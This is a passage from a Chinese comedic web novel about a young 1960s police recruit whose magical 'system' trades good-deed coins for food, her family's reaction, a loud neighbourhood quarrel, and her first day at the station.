间接影响重要相关人员一百人次,改变命运,一人次获得奖励二十金币,获得金币两千。
间接影响非重要相关人员二百一十人次,改变命运,一人次获得奖励十金币,获得金币两千一百。
总金币数:一万零一百。
系统启动修复耗费一万金币,已扣除。
剩余金币数:100。
杜鹃念着实时消息,念完了,抬头看向了亲爹,她跟杜国强父女两个,眼神儿呆滞,互相对视,好半天,异口同声:“我的天老爷!”
杜鹃没有迟疑就要冲出去:“我去所里拆穿他!”
还没跑出一步就被亲爹杜国强拽住:“冷静点!”
他认真:“你去了怎么解释这事儿你是怎么知道的?”
他紧跟着又说:“你信我,我师父他们可不是绣花枕头,既然人已经进去了,他们一定可以找到端倪的。而且,张少伟的这个妻子没有昏迷,她已经指控了!既然有指控,事情就不会轻飘飘的算了,我是知道的,他们是有这个能力的。而且你看,系统显示已经改变轨迹,就说明,不用你去,从你拦住的那一刻,就不同了。”
杜鹃深深的吸气呼气,努力平复自己的心情,杜国强这会儿也更冷静了几分,说:“这种事儿一定会调查的,你下午就去上班,可以适当的敲敲边鼓,但是不要直白的说,懂吗?”
杜国强语重心长:“我就你一个闺女,我可不想你出事儿。现在世道也不是十分的安稳,谁也不能钻到谁的心里看,做事情还是留些余地,自己多谨慎些,这样没坏处。我们就你一个孩子,你要是有个什么,我们都没法儿活了。”
杜鹃被她爸这么一吓唬,倒是静下来了。
她咬咬唇,平复一下心情,说:“爸,你放心,我会小心的。”
杜国强意味深长的说:“闺女啊,十道街派出所是江桦市最大的一个派出所,火车站汽车站都在咱们片区,三教九流,啥样人遇不见?就咱所里的人,一个个都是老油条了。你可别觉得大家都是大大咧咧的人,你年纪还小,做事情啊,可得谨慎着!”
顿了一下,他也有几分懊悔,说:“如果知道你会有这样的奇遇,我就不让你接班了,你说你这要是被人看出端倪可怎么办!”
他心里是有些不放心自家闺女的。
这会儿杜鹃倒是不冲动了,她撒娇说:“我就算是上班,也能做的很好的,爸你就别操心啦!你放心,我一定不让你们担心,真的,你信我!”
杜国强翻白眼,说:“这你让我怎么相信。”
杜鹃:“相信我相信我相信我~~~”
念兔子咒一样。
杜国强深吸一口气,说:“这事儿,出去可不能露出一点。”
杜鹃赶紧用力点头,她虽然才十八,但是也不是个傻子啊。这样大的事儿,她哪里敢说?说出去被人知道真是要把她切片了。这会儿杜鹃也知道怕了。
她格外认真:“我出去绝不表现一分。”
杜国强深吸一口气,说:“你那个屏幕,你看看有没有能关了的地方。”
不然这一个大屏幕杵在前面,闺女异常总归会让人看出几分端倪的。
杜鹃仔细找了找,说:“右上角有个小小的隐藏,可是,我点了之后以后想用怎么办?”
到底是年轻,接受新事物倒是很快。
不愧是个穿二代。
杜国强:“试一试吧,你先关,念系统名字,看它会不会跳出来。如果跳不出来再做其他的试试
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。”
杜鹃点头:“好。”
“不行我们就暂时当没有它,总归不能让它一直在你面前杵着。”
杜鹃伸手,点向了“隐藏”,果然,面前的屏幕瞬间不见了。
杜鹃心跳快了几分,她深深吸气呼气,轻声试探说:“天降正义?”
哗啦!
系统面板再次出现。
果然,只要叫名字就可以。
杜鹃抬眼,兴致勃勃的说:“又出现了,我叫它,它就会出现。”
杜国强点头,说:“你再点一下隐藏。”
杜鹃立刻照做,杜国强说:“天降正义。”
随即看向了杜鹃,杜鹃冲他摇摇头,说:“没有。”
杜国强看着杜鹃画下来系统的样子,视线落在宿主杜鹃(已绑定)上,说:“这应该就是只有你能启动的意思。”
杜鹃吞咽了一下口水。
“爸?”
杜国强这时倒是还能稳得住,他说:“别怕,我觉得这也不是什么坏事儿,挺好的。甭管这个东西是怎么来的,我们就算是想破头也是想不明白的。既然想不明白,不如欣然接受。总归不是害人的。”
杜鹃绷着嘴角点头。
爷俩儿继续大眼瞪小眼。
杜国强又想了想,说:“我瞅着,不像是鬼鬼神神,倒像是未来科技。不过不管是啥,不害人还能贴补生活,不是挺好的?你说对不?”
杜鹃再次点头。
“按照你说的,这玩意儿也没有别的什么能沟通能对话的,倒是做了好事儿会提醒,这样倒是也好,遇到坏人和大事儿也能给你提个醒。不仅对你的工作有帮助,还给你金币,这也是挺好的。咱就顺其自然。也不用太放在心里,压力太大,就当个贴补家用的。反正这也换不了别的,哎不是,这玩意儿是跟鸡多大仇啊,咋全是鸡啊!”
杜鹃倒是中肯的说:“鸡肉好吃的。”
猛然间,杜鹃面色有些怪异。
杜国强:“怎么了?有变化?”
杜鹃摇头:“不是的。”
她挠挠头,说:“启动系统用了一万个金币,如果不扣这个,能换十万个鸡蛋,十万个鸡蛋啊!妈耶,如果咱家四个人一人一天一个,都能吃……都能吃将近七十年!!!”
杜鹃震惊了,眼睛像铜铃。
杜国强幽幽拆台吐槽:“不扣这一万个金币,你这系统也启动不了。”
杜鹃一想也是这么个道理,赞同的点头,说:“也是我遇到这个人做坏事太多,但凡换一个人,我都不可能启动什么系统。所以有因才有果。”
这么说着,杜鹃的小手儿蠢蠢欲动,她抿着嘴,说:“爸,那个……那个哦,我们能换点鸡蛋看看吗?”
她期期艾艾的:“一旦是假的呢?试试呗。”
杜国强:“换啊,你赚的当然可以换。”
杜鹃:“是吗?我不信!”
她妈肯定不同意她自己决定,那……趁她妈妈还没回来,她先换点,杜鹃从小到大也没咋管过钱,这可是她自己最大的一笔“钱”了,嗯,赶紧出手!
“那我们换点鸡蛋吧,一金币就能换十个,我们换一百个!”
第一次花钱就想大手大脚啦!
杜国强:“夏天放不住。”
杜鹃不服气,说:“当然能,我们一人一天一个,不用一个月就能吃完。”
杜鹃眼巴巴的看着她爸,杜国强:“换吧换吧。”
杜鹃鬼机灵的看着她爸,小声:“是你同意的哦~”
杜国强:“对,我同意。”
杜鹃瞬间喜滋滋,她鼓足勇气,伸出小手儿,用力虚空一点,一惊一乍:“提醒我准备容器。”
杜国强立刻找来笸箩,放在了桌上,杜鹃眼睛明亮,说:“果然可以直接增加数量。”
她点到了“10”,又点了确定,就看鸡蛋哗啦哗啦的落了下来,一百个鸡蛋,十分壮观,一个个直接落进笸箩里,杜鹃:“!!!”
杜国强看着闺女这个样子,忍不住哼唱出来:“眼睛瞪的像铜铃,射出闪电般的机灵……”
5.大鸡腿
“鸡蛋好,鸡蛋补身体,要鸡蛋……”
“今晚吃鸡腿吧,嘻嘻,都说鸡腿最好,这下子全是鸡腿呢。”
“鸡屁股谁买啊,真离谱!便宜也不要。”
“这一份鸡肝看起来像是一只鸡的。十份也不是很多,不怎么合适啊……”
“鸡脖子鸡爪子竟然跟鸡蛋一个价钱,怎么好意思开得出!”
……
杜鹃嘀嘀咕咕的,虽然只有十样东西,但是她跟杜国强父女两个已经嘀嘀咕咕的商量大半天了。
这要不是夏天太热放不住,她恨不能全都花了,这金币换了东西,那才稳妥呢,不然谁知道这东西哪天突然不见了。父女两个一直嘀嘀咕咕的,直到傍晚陈虎梅下班……
陈虎梅是在机械厂上班,机械厂可是本地最大的一个厂子,也是北方最大的机械厂。光是职工就快两万人了。食堂更是有五个,每个食堂都六七个厨子。
这么多厨子,陈虎梅是唯一的女同志。
这年头儿啊,学手艺可不容易,好些个都是传男不传女,收徒弟也不收女人。如果陈家老两口还在世,陈虎梅也是没有机会学厨艺的,她如今之所以有这个手艺,全靠亲哥不藏私。
陈虎打小儿跟妹妹相依为命,虽说只是差了十岁,但是那也是当闺女养的。甭管什么“传男不传女”,他可是都教给妹妹了,那会儿还没解放,老百姓难啊,多个手艺多条路。
会总比不会强。
不过别看陈虎梅会厨艺,想进入机械厂这样数一数二的大厂做厨子可不容易,陈虎梅开始也没找到工作,就是跟着哥哥出去做席面儿练手儿,后来陈虎出事儿沸沸扬扬,组织慰问补偿,陈虎梅这才进了厂。
大概重男轻女这种观念的人多吧,虽说陈虎梅也是机械厂的大厨儿,但是却从来没有在厂里做过小灶儿,反正按时下班,用不上她。这不,她下班骑车往家走,网兜里放着两个饭盒儿。
这是“剩饭剩菜”,说是剩饭剩菜,其实都是提前留出来的。厨子没有不拿的,你要是不拿点,别人怎么好意思拿?那可就是跟所有人作对了。
他们这种大厂,门道儿可多了,就是不如她哥在公安局食堂干的轻松。
不过陈虎梅也不管那些个,她不争抢那些邀功劳的事儿,也不掺和那些狗屁倒灶的,上班干活儿,下班走人,工资待遇不能少,别的她不掺和。她骑车那是嗖嗖快。要说杜鹃虎了吧唧的像谁,那就是这个亲妈了。
陈虎梅把自行车停进了家属院的车棚,扫了一眼,杜鹃的车不在。
他家三辆自行车,杜鹃读高中的时候就给她买了,有个车上学方便。陈虎梅和杜国强单位都有点距离,得骑车上班。倒是陈虎一贯步行上下班。
倒不是他买不起,而是公安局就在家属院儿不远,走路也就七八分钟的事儿。
那要是骑车就不是方便了,是显摆。
杜国强的车就锁在车棚,估摸着是今天没出门,陈虎梅提着饭盒,匆匆上楼。她今天带的可是好菜,小炒肉,纯炒肉,她主要负责大锅菜,这种纯肉菜可不多。
他们家都嘴馋,挣得不少,半拉儿的工资都炫嘴里了。
这要不是票不够,保不齐所有工资都能炫嘴里。
但是就这,白来的总归是让人高兴。
陈虎梅开门:“咦?杜鹃你咋在家?”
她一扫杜鹃,又问:“你额头怎么了?”
杜国强和杜鹃两个齐刷刷的“嘘~”,杜鹃一下子窜过去,神神秘秘的东张西望,随即蹑手蹑脚关门,偷感十足的拽着她妈奔着厨房,小声:“跟我来。”
杜国强这会儿也迅速靠拢。
陈虎梅:“???”
这两个货又闹什么幺蛾子?
杜鹃将人拉到厨房,陈虎梅疑惑的看着地上的围裙,这用她围裙盖什么?
杜鹃努努嘴,示意她妈伸手,陈虎梅丈二和尚摸不着头脑,她是个干脆的人,直接伸手一拽:“我……呜呜,唔哦呃……”
嘴巴被杜国强捂住了。
杜国强:嘿嘿,没别的,就是四个字儿:眼疾手快!
“呜呜喳唔放……唔呃……开……”
杜鹃小手儿放在身前,跟小松鼠一样,好心提醒:“爸,我妈让你放开她!”
杜国强赶紧松手,谄媚的笑:“嘿嘿,媳妇儿……”
陈虎梅大口喘气儿:“你个瘪犊子,你是想捂死我再找啊!这给你能耐的。”
杜国强:“不是,你看,你这误会我了不是?谁不知道我最爱你了?”
杜鹃抖了一下,觉得汗毛儿都竖起来了,胳膊上也起了鸡皮疙瘩,她抿抿嘴,默默的退后一步。
肉麻!
陈虎梅很吃杜国强这一套,她哼了一声,说:“算你有良心。”
扫一眼杜鹃,又说:“在孩子面前胡说什么。”
不过很快的,她又瞪眼,声音很低,但是却很凶:“你怎么又去黑市儿了,你原来是做公安的,在这一片儿多脸熟,这要是让人认出来怎么办!最近的政策你也不是不知道……”
陈虎梅看着凶,实际上还是担心家里人的。
杜国强哪里不懂?
他赶紧低声说:“这不是黑市儿买的!这事儿是小孩儿没娘,说来话长。”
“那你长话短说。”
杜国强:“短说不了啊,那个啥……”
开门的声音响起,三个人都一惊一乍的猛地回头,陈虎:“你们干什么?这神神道道的。”
杜鹃一下子窜起来,飞快的拽着舅舅来厨房……
但是杜鹃这事儿,也不能瞒着自家人。
这跟杜国强是个穿越的不同的,这事儿不说也不影响生活,说了也没什么大用处。所以杜国强从来没提过,但是,他家闺女这个不说不可能的。
天上掉馅饼,这个来处你总要说吧。
再说,这兄妹俩可比他还疼孩子,所以杜国强根本不担心什么。
爷俩儿你一句,我一句,叭叭叭,呱呱呱……
经过足足三个小时,陈虎和陈虎梅终于消化了,自家女娃娃有了一个天大的机缘。
杜国强抹着汗珠儿,说:“就这点事儿,愣是跟你们讲了三个小时。”
杜鹃点头,附和:太累了,真是太累了。
陈虎梅白了杜国强一眼,这么大的事儿,她能理解就不错了。
不过,陈虎梅拉着闺女,严肃的说:“这事儿就家里四个人知道,不许再告诉任何人,平时别露出一点,晓得不?就算在家用,也拉着窗帘,晓得不?”
杜鹃乖巧点头:“妈,我知道的。”
陈虎没是越想越担心,拉着闺女絮絮叨叨的叮嘱,从盘古开天辟地讲起,旧社会那些反目成仇,阴险算计,当面一套背后一套,还有……
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总之,地球太危险!
杜鹃被亲妈拽着,豆大的汗珠儿都下来了。
到底是陈虎见多识广啊,他这会儿已经缓和过来了,默默的扒拉起来,说:“杜鹃换了多少东西?我瞅瞅,呦呦呦,这多少鸡腿啊?”
杜鹃一心二用,抻着脖子说:“我换了二十个,用了四个金币,嘿嘿。”
陈虎:“那今晚炖个鸡腿,我还第一次炖鸡只炖鸡腿。”
杜国强搓手:“大哥,放点土豆儿呗,炖鸡腿儿不放土豆儿,就跟吃饺子没醋一样,缺点滋味儿。我最爱吃跟鸡肉一起炖的土豆儿了。”
陈虎:“行。”
家属楼夏天吃点好的是半点也拦不住,没一会儿,味道就出来了……
傍晚各家各户都做晚饭,这味儿一出来,怨声载道的,不少人家都传来争吵的声音,别看这是家属楼,但是也不是家家户户条件都好。
别人家吃鸡,让人羡慕让人嫉妒让人愁啊!
有好几家的小孩子都闹腾起来,瞬间感受了一下家长正义的铁拳。
咚咚咚!
敲门声响起,杜鹃一家子都皱眉了。
这一般人可没饭点儿登门的,特别是别人家做了好吃的。
不过……正是很少有这样不讲究的人,这敲门声一响,就知道来的是谁了。
陈虎梅脸色最难看,说:“我来开门!”
她气势汹汹的起来开门,杜鹃立刻跟在她妈后面助威,陈虎梅呼啦一下子将门打开:“谁啊!”
门外是一个三十来岁的女人,身段儿很好,梳着两条麻花辫,垂在前胸,五官也艳丽妩媚。不过虽然长得不错,但是却穿了一身灰土色的上衣下裤,带着补丁。
不用说也晓得是困难户。
她手里端了一个大海碗,楚楚可怜的站在门口。
“汪春艳,你有啥事儿?”
门口这位就叫汪春艳,倒是人如其名。
汪春艳有一瞬间不自然,不过很快苦笑着说:“嫂子,我家这鸡肉可真香,我家小顺一直哭闹,就馋这一口……”
她眼巴巴的看着陈虎梅,见她没有接话儿的意思,想要探头往里瞅瞅,但是陈虎梅挡在门口像一座山,她犹犹豫豫的继续说:“我想着,跟你家借一碗鸡肉。”
她眼眶有些微红,仿佛受了天大的委屈。
陈虎梅看她来的这一出儿,恶心的午饭都要吐出来了,她嗤了一声,大嗓门:“你儿子馋这一口儿,你去买就是了,来我家要算什么意思啊!你自己也不是不上班,谁家孩子谁家疼,我闺女今天上班受伤,也得好好补一补呢。借给你了,我闺女吃什么?我家心疼孩子买了给孩子补身子。你倒是闻着味儿来了。喏,你现在去菜市场,保准还能买着。馋了就去买,我家可没有多余的借出去。”
汪春艳咬着唇,越发的委屈:“不是,我家这,我家这情况……”
“咋的?你家自己不舍得花钱,就想上我家白要?咋的?我该你的啊!去去去,赶紧走!真有意思,什么口都敢张,拿个大海碗上人家借肉,没见过这样的……”
陈虎梅是半点也不给她脸,当着面儿,咣当一声把门砸上了!
砰!
整个楼都震三震!
陈虎梅重重的哼了一声,回头,就见自家闺女鬼头鬼脑的竖起大拇指,给她比赞!
陈虎梅:“哼!”
6.母老虎
“唔,真香!”
一家子吃饭有点晚了,但是一点也没耽误大家干饭的热情。
桌上只有一个菜,满满一大盆的鸡腿炖土豆儿,四个人筷子飞舞的嗖嗖快。
陈虎把二十个鸡腿都炖了,还加了二十来个土豆儿,那满满一大盆哎,做席分成几桌都够了,真是实打实的实惠硬菜。可不是陈虎大手大脚,大夏天的,啥也放不住。
赶着这几天顿顿做招人眼球儿,不如一顿来了。
这味道很霸道,楼上楼下都飘着香味儿,大夏天的,大家都聚集在楼下纳凉儿,坐都坐不住了。
“大梅子这也太不会过日子了,这不年不节的,就吃的这么好,这么败活着过日子,哪儿还能攒下钱?”
“这厨子就是好啊,他家做菜不管做啥都格外香……”
“要不说还是得当厨子呢,你看看,你看看人家这伙食啊,东沾点西沾点那就吃饱喝足了啊,又省了钱又肥了嘴,一家子五大三粗的……”
这话就是带着几分不同的意味儿了。
杜鹃他们家住二楼,哪里听不见?
陈虎梅一听这话呼啦一下站起来,冲到窗边就骂:“王大妈,你个碎嘴子的,你什么意思,怎么的?你想指桑骂槐什么?你意思我占公家便宜了呗?有本事你去举报我啊!让人来查,看看我是不是清白的。我家三个工人,我可是六级厨师,一个月工资四十七块五;别说我大哥我男人也挣钱,就算是不挣钱,我自己的工资吃不起一顿肉吗?我知道你就是记恨我今天没给借肉给你们家,啊呸!你当谁家都跟你家一样?可着饭点闻着味儿就来借肉,真是笑死个人,有借无还的,不要个臭脸。还当谁好欺负不成?我家买一顿肉还不成了?你信不信你再诋毁我家,我扇死你个老虔婆!”
甭管咋样,都要理直气壮!
王大妈被骂的狗血淋头。
陈虎梅嗷嗷叫,别说楼下了,前后左右几个楼都有人探头往外看,陈虎梅继续大嗓门儿:“我不借肉,你就泼脏水,老娘惯的你!我告诉你,以后少让你那不要脸的闺女端个大海碗来我家,那大碗比你脸都大,怎么好意思!你家真是不要脸的没边儿了。啊呸,啊呸呸!”
“你、你咋这么说话呢,你……”
“你个头你,你家那点心思瞒得过老爷们瞒不过我,你一撅腚我就知道你想拉什么屎,把你们家那骚狐狸的尾巴收一收!呸!”
王大妈满脸通红,又气又羞:“你咋能这么说话,你咋能这么刻薄!”
陈虎梅:“噗!”
抻头儿一吐!
一个鸡骨头,奔着王大妈就去了。
王大妈:“啊!”
她飞快一闪,鸡骨头啪嗒掉在面前。
“你,你你你、你太没素质了!”
“你有素质,你有素质让你那寡妇闺女扭着大腚来我家要肉?甭以为我不知道你的心思,想占家便宜?做的你的头梦吧!休想!”陈虎梅口吐芬芳!
杜国强默默起身,倒了一杯水,默默的递给陈虎梅。
陈虎梅正骂的口干舌燥,一仰头,一饮而尽。
配合默契。
“大梅子,你家这还没吃完饭吧?赶紧吃饭吧。”
“是啊,这大热天真是燥的慌,你也消消气……”
“别吵了,咱可是公安系统的家属院儿,让人听了不好听的。”
“王大妈你也是,饭能乱吃话不能乱说,你说这话让外人误会咋整?现在什么政策,你这不是害人吗?”
“就是。”
大家七嘴八舌的,王大妈气的要死,心里只恨这些人都是马屁精,不就看陈虎梅家条件好吗,一个个就上杆子舔着,她就是命苦。可是她也晓得,自己说那话确实有坑人的心思,被人拆穿,她委屈的眼红:“你们咋这样……”
“呸,上梁不正下梁歪。”
陈虎梅真是一点也不客气!
她重重的哼了声,转身回屋,说:“一家子不要脸的。”
要说陈虎梅为啥反应这么大,一来是不解释传来传去可很容易被人扣帽子,二来也是两家关系确实不好。他们这家属楼,一层六户,六层三十六户,他家跟这家子是关系最差的。
他们都住在二楼,他们家是住在走廊最里头的,而汪家就住在楼道口。本来既是邻居也是同行,两家子关系还成。
哦对了。这家子的男主人叫汪春生,部队转业进入了公安部门,他媳妇儿叫管秀珍,俩人生了两个女儿,招娣来娣。本来邻里邻居,也没什么矛盾。
但是也是搬迁新家属楼第二年,汪春生的老娘来了,不仅她来了,还带了汪春生守寡的妹妹汪春艳和她儿子小顺。这仨儿一住就不走了。
汪春艳是个寡妇,说是婆家歹毒凶恶,只能带着儿子回娘家。初到的时候大家还挺同情她,但是日子长了,这女人跟别人家老爷们总是媚眼含春的,有好吃好喝的便宜,就占个没够儿。从那开始这家属院儿的女同志就对她多少有些意见了。
她总是跟男人卖惨,陈虎和杜国强都被盯上过,这陈虎梅能看的过眼?
再加上汪春生的老娘汪王氏王大妈一口一个“太监”,背地里嘴陈虎小话儿,陈虎梅更是气的发疯,曾经当着邻居的面儿扇过她大逼斗。从此两家交恶。
要说为啥大家都向着陈虎梅说话,这可真不是看谁条件好,纯纯是因为都不太看得上汪春艳那个劲儿。
本来大院儿有些气恼的女同志想联名撵她走的,但是汪春生和管秀珍两口子不乐意。她又一口一个让她回去就是让她去死,哭的惨兮兮,倒是不少人都心软了,最后这事儿无疾而终。
陈虎梅是典型的东北妇女,暴脾气嫉恶如仇,最看不上她。
谁家好人这么不要脸啊!
她骂道:“一家子缺德玩意儿,管秀珍也是个没脑子的,还能让婆婆哄的四五六都不知道了。你看着吧,她就招这么一个小姑子在,早晚惹出大麻烦。”
杜鹃吃饱喝足,揉着肚子消食儿呢,听到这个,想起一茬儿,赶紧跟她妈八卦:“妈,前几天我去学校拿毕业证的时候,路上看见汪叔给小顺买小豆雪糕了,招娣来娣也跟着呢,都没给她们买。你说他为啥啊?”
杜鹃不懂,咋还能有对外人比对自家孩子还好的人。
脑子有毛病。
陈虎梅嗤了一声,说:“还能为啥?就重男轻女呗!只要是个带把儿的,外甥都比亲闺女好。汪春生就是重男轻女,管秀珍也是个蠢货,给两
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个闺女教成二傻子。”
她格外看不起这样的老爷们,鄙夷的说:“一家子就知道儿子儿子的,你别跟她们家两个闺女来往,别沾上傻病。”
杜鹃:“我知道的。”
汪春生家的两个闺女,一个十五,一个十二,大闺女招娣算起来跟杜鹃差的不算大,才三岁,但是招娣软弱又自怨自艾,不仅自己一心为男娃儿奉献,更是希望所有人都为男娃儿奉献。张口“我不配”,闭口“别自私”。
她家两姐妹都是这一出儿,所以杜鹃和她们是玩不到一起。大院儿同龄人多了去了,杜鹃最要好的几个朋友都是她的高中同学。
这交朋友,总是要三观一致,不然很难处得来。
这是爸爸从小就教了她的,杜鹃最懂了。
“你们放心吧,我心里有数儿的。”
甭管做孩子的多大,在父母眼里都是小崽子。
陈虎梅:“你有数儿什么有数儿……”
顿了一下,陈虎梅严肃叮嘱:“你跟你那几个朋友也别露出一点秘密啊!”
杜鹃觉得自己耳朵都要起茧子了。
呜呜呜,她妈好能絮叨啊。
杜鹃伸出两根手指,说:“我发誓,除了咱家四个人,绝对不会让第五个人知道,绝对绝对不会!”
陈虎梅:“你这孩子,发誓干啥!净整这些幺蛾子……”
杜鹃睁大眼:“……”
明明是她一直不放心哎!
不过不等杜鹃说点什么,陈虎梅又严肃说:“你自己别乱换东西,夏天换了也放不住,不管啥钱都得省着点花。别有点钱就像窜天猴儿,咱得小心着。你看看吃点东西你看看这邻里邻居的动静儿。亏得咱家条件好说的清楚,不然就现在这个乱糟糟的劲儿……”
嗡嗡嗡。
杜鹃:“知道了知道了。”
她妈好能絮叨哦!
怕了怕了!
溜了溜了!
杜鹃起身……
“你干啥去?”
杜鹃:“上厕所。”
“你就是不爱听我念叨。”
杜鹃求救的看向亲爹,杜国强上前:“她不乐意听我乐意听,媳妇儿,来,试试,看看我今天给你新做的围裙咋样,别看是用旧衣服改的,但是我这可是有设计的……”
陈虎梅:“我看看,你给我哥做了没。”
“都有都有,大哥你也试试。”
陈虎:“我都行。”
他在厨房不知道忙活啥。
别看杜国强不上班了,但是家里的饭菜还是陈虎来。
这倒不是抓着人干活儿,而是陈虎就爱这个。有人做饭那是辛苦干活儿,但是这对陈虎来说,是兴趣所在!
一般人啊,不能体会!
“哥,你干啥呢?”
陈虎:“咱家这么多鸡蛋,吃不完放坏了就亏了,我腌点咸鸡蛋。”
杜鹃立刻说:“我还有好多金币,我们还能换很多鸡蛋的!我可以再换点……”
陈虎梅死亡凝视。
杜鹃赶紧识时务的说:“听你的听你的~你说啥时候换就啥时候换,你说不换就不换,我全都听你的。”
呜呜,她妈是个母老虎!
7.是新人
杜鹃是个心大的姑娘。
这要是换成一般土生土长的六十年代姑娘,遇到这么神奇的事情,那可不是这么容易消化的。
但是杜鹃在她爸爸的影响下,竟然也觉得这没什么特别的。她也算是挺淡定了,没太为此烦恼。
怕是一点也不怕的。
不过兴奋倒是挺兴奋的。
这么神奇的遭遇,换了谁都得兴奋。
可虽然兴奋,杜鹃也还记得这事儿的重要性呢。
这不,一大早的,杜鹃早早就来到派出所,她昨天没骑车回家,今天是她爸杜国强骑车送她来的。本来啊,按照杜鹃的急切,昨天下午就想回来看看,但是杜国强还是了解自己的同事的,知道他们的水平,拦住了杜鹃。
杜鹃昨天才得了系统,他是怕杜鹃沉不住气,表现出来。
今天送闺女,也是为了这个。
嗐,甭管孩子多大,当父母的都没有不操心的。
“呦,杜国强,你咋来了?”门岗张大爷打招呼。
杜国强乐呵呵的:“杜鹃昨天没骑车,我送她。”
他这一出儿,大家也习惯了,他们家最溺爱孩子了,那都不是一天两天了。
杜国强跟没事人一样,说:“昨天那绿毛龟呢?这个瘪犊子给我闺女推墙上了!这样配叫老爷们,个瘪犊子玩意儿。这要不是我拦着,我媳妇儿和大舅哥今天都能来锤他。”
他试探的十分丝滑,这会儿可不是他穿越前的几十年后,这会儿对这种事儿不那么保密的,再说他本来也算是“自己人”。问问没什么。
张大爷赶紧说:“敢情儿你是来找麻烦的,你可别掺和啊,人转公安局刑侦那边了,大案子。”
杜国强惊讶:“大案子?不是搞破鞋?这还能搞出大案子?”
“那咋不能?你啊,就别想找茬儿出气了,那人估摸着出不来了。”张大叔意味深长的撇撇嘴,给他一个“你细琢磨”的眼神儿。
杜国强眼神闪了闪,点头:“懂了。”
杜国强:“既然是大案子,我就不多问了,那行,我也先走了。杜鹃你好好上班啊。”
杜鹃:“知道!”
听说人已经被转到刑侦那边,她也放下了心。
第一天上班门都没进来,今天第二天总算是进门了。
杜鹃来的挺早,进门左右张望,他们所不愧是市里最大的派出所,三层小楼呢,实打实不小。早上到的人还不太多,陈晨已经在了,他没想到杜鹃来的这么早,惊讶的扬眉,不过很快的打招呼:“早上好。”
杜鹃:“早上好。”
陈晨不是一个很活跃的人,直接来实在的:“你是跟我们一个办公室,走,我带你过去。”
杜鹃跟着陈晨,他介绍:“咱们所一共二十六个人,是市里派出所人员配置最多的。不过外勤现在就你一个女同志,你是接你爸的班儿,你爸就是外勤,你也是了。你慢慢习惯。咱们派出所外勤是四个组,基本都是四个人。我们现在这组也是四个人,张庞大哥负责,有我有你有陈正民大哥。基本上有人报案,就是我们四个一起。”
杜鹃清脆的问:“那高叔还有蓝大爷呢?昨天我们不是一起的吗?”
陈晨羡慕的说:“他们去市局刑侦帮忙了,昨个儿那个捉奸的牵扯出了大案子,是命案。案子转到市局了,老高和蓝大爷都被借调过去了,所以咱们这边最近只有我们几个。”
他一脸的“我也想去”,那真是显而易见。
他又补充:“蓝大爷严格来说不属于咱们组的,他岁数大了,就等退休了,出去的少。再说这样的本地百事通,各组都找他支援。市局那边也经常借调他。咱们所之所以人多,主要还是咱们辖区情况比较复杂,就火车站那边就够折腾一壶了。”
杜鹃取经的问:“火车站不是有铁路乘警吗?”
“是有,但是哪能分的那么清楚,遇见事儿也得处理!再说那小偷什么的窜出来,我们也不能不抓。”
杜鹃继续追问:“那我们如果遇见大案子,都是转到市局刑侦吗?”
别看她爸爸是公安,但是他回家倒是不怎么说工作事儿,所以杜鹃了解,又没有那么了解。
这会儿倒是认真取经。
陈晨:“也不是,也有我们自己留下来处理的,但是昨天那个事儿牵扯好几条命案,事情比较大。再加上,他们三个人都不是本地人,是从临市过来的,涉及到跨市办案了,我们派出所处理不了的。”
杜鹃:“哦哦哦。”
陈晨指了一下,说:“那个位置是你的,以前是你爸爸的,现在你坐这里。”
杜鹃:“好。”
这个她可是熟门熟路了。
杜鹃来到座位,从自己带着帆布包里掏出水杯,又掏出一包饼干,紧跟着又掏出一个仙人球儿,天爷哎,她那包倒是能装。杜鹃摆好了,又开始继续掏……
陈晨目瞪口呆:“……”
“你那个小瓶子里面是什么?”他没忍住,好奇的问。
杜鹃:“这个吗?这个是辣椒水,我一个年轻妙龄的女孩子就算是公安,也得有点防备。”
陈晨嘴角抽了下:“……”
“那那个小包呢?”
杜鹃:“这个吗?这里面都是是小纸包,里面是石灰粉。”
陈晨:“……”
他嘴角又抽了下,一时间竟然不知道说什么才好,好半天的,他嗫嚅嘴角,说:“随身带着、带着这个。这、这、这恐怕不太合适……”
杜鹃:“那有啥不合适的?我也没干啥。”
她拿出小抹布,去打了水开始擦擦擦。
正忙活,其他人也陆陆续续到了。
杜鹃清脆的跟大家都打了招呼,所里的人,不管熟不熟,大家还都是认识的。
“杜鹃,杜鹃呢?人来了吗?”
卫副所在走廊里抻着头喊人,杜鹃立刻出来:“我在的。”
“你来一下。”
杜鹃作为刚上班的新人,见领导都带着朝气,卫副所含笑:“杜鹃伤怎么样?要不要紧?”
杜鹃:“我没事的,就是小擦伤。”
卫副所点头,松了一口气,别是第一天就撞出个脑震荡,那就不好了。
他看着杜鹃,和气:“坐吧,坐。”
杜鹃也不是第一次见卫副所,但是却是第一次作为下属正式见他,她坐的笔直。卫副所:“没事儿,不用紧张,我这次找你过来,主要是问问你的伤,没事就好,没事就好啊!”
他语重心长:“杜鹃啊,我跟你爸都公事七八年了,以前看你还是小孩儿呢,现在都是同事了。不过既然是同事,我就不能用小孩儿的要求来要求你了。你懂吧?”
杜鹃点头。
卫副所:“其实,按理说,你个才十八的小姑娘,不该让你跑外勤的,但是现在是实在没办法。咱们这一行,本来女同志就少。但凡是能耐点的,也都抢着要。咱所以前的那个外勤徐英南,就让铁路乘警那边死乞白赖的要走了。我们互相调动这么麻烦,那边愣是给办好了。真不是个东西,抢人都抢到我们头上了……咳咳,不说这个。咱派出所主要是家长里短的事儿多,外勤也不能没有女同志,咱所里还有四个老大姐,但是你也是知道的,她们一直都是内勤,而且也不年轻,属实是不太好调整。所以咱这真是没有办法。这外勤,只能你克服克服了。
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”
他一张老农民的脸,十分的慈祥,就跟忽悠小白兔的大灰狼一样。
“你先干着,先看看适不适应,如果你实在是不适应外勤,以后有合适的人,我一定再给你调动。但是现在没合适的人……你坚持坚持。你先跟着张胖子他们出外勤,往后所里有什么荣誉,我也肯定想着你。”
杜鹃莫名的觉得有点撑了。
呃,难道这就是她爸爸口中的“画饼”?
不过,她没觉得出外勤有什么不好啊,如果老老实实的待在所里,杜鹃还觉得挺枯燥的。
她一双大眼睛很明亮,透漏着刚进入社会参加工作的清澈,卫副所都有点不好意思了,但是但是,没办法啊……没人啊!
杜鹃:“副所,我可以的。”
她爸说了,工作的时候叫职务。
卫副所激动又高兴:“好,好好,好好干,我看你肯定行!一定青出于蓝而胜于蓝!”
杜鹃:“???”
怎么这么激动啊?
不过她倒是没当回事儿。
卫副所:“既然你同意,那就好,那就好,行了,你回去吧,回去工作吧!”
杜鹃:“好的。”
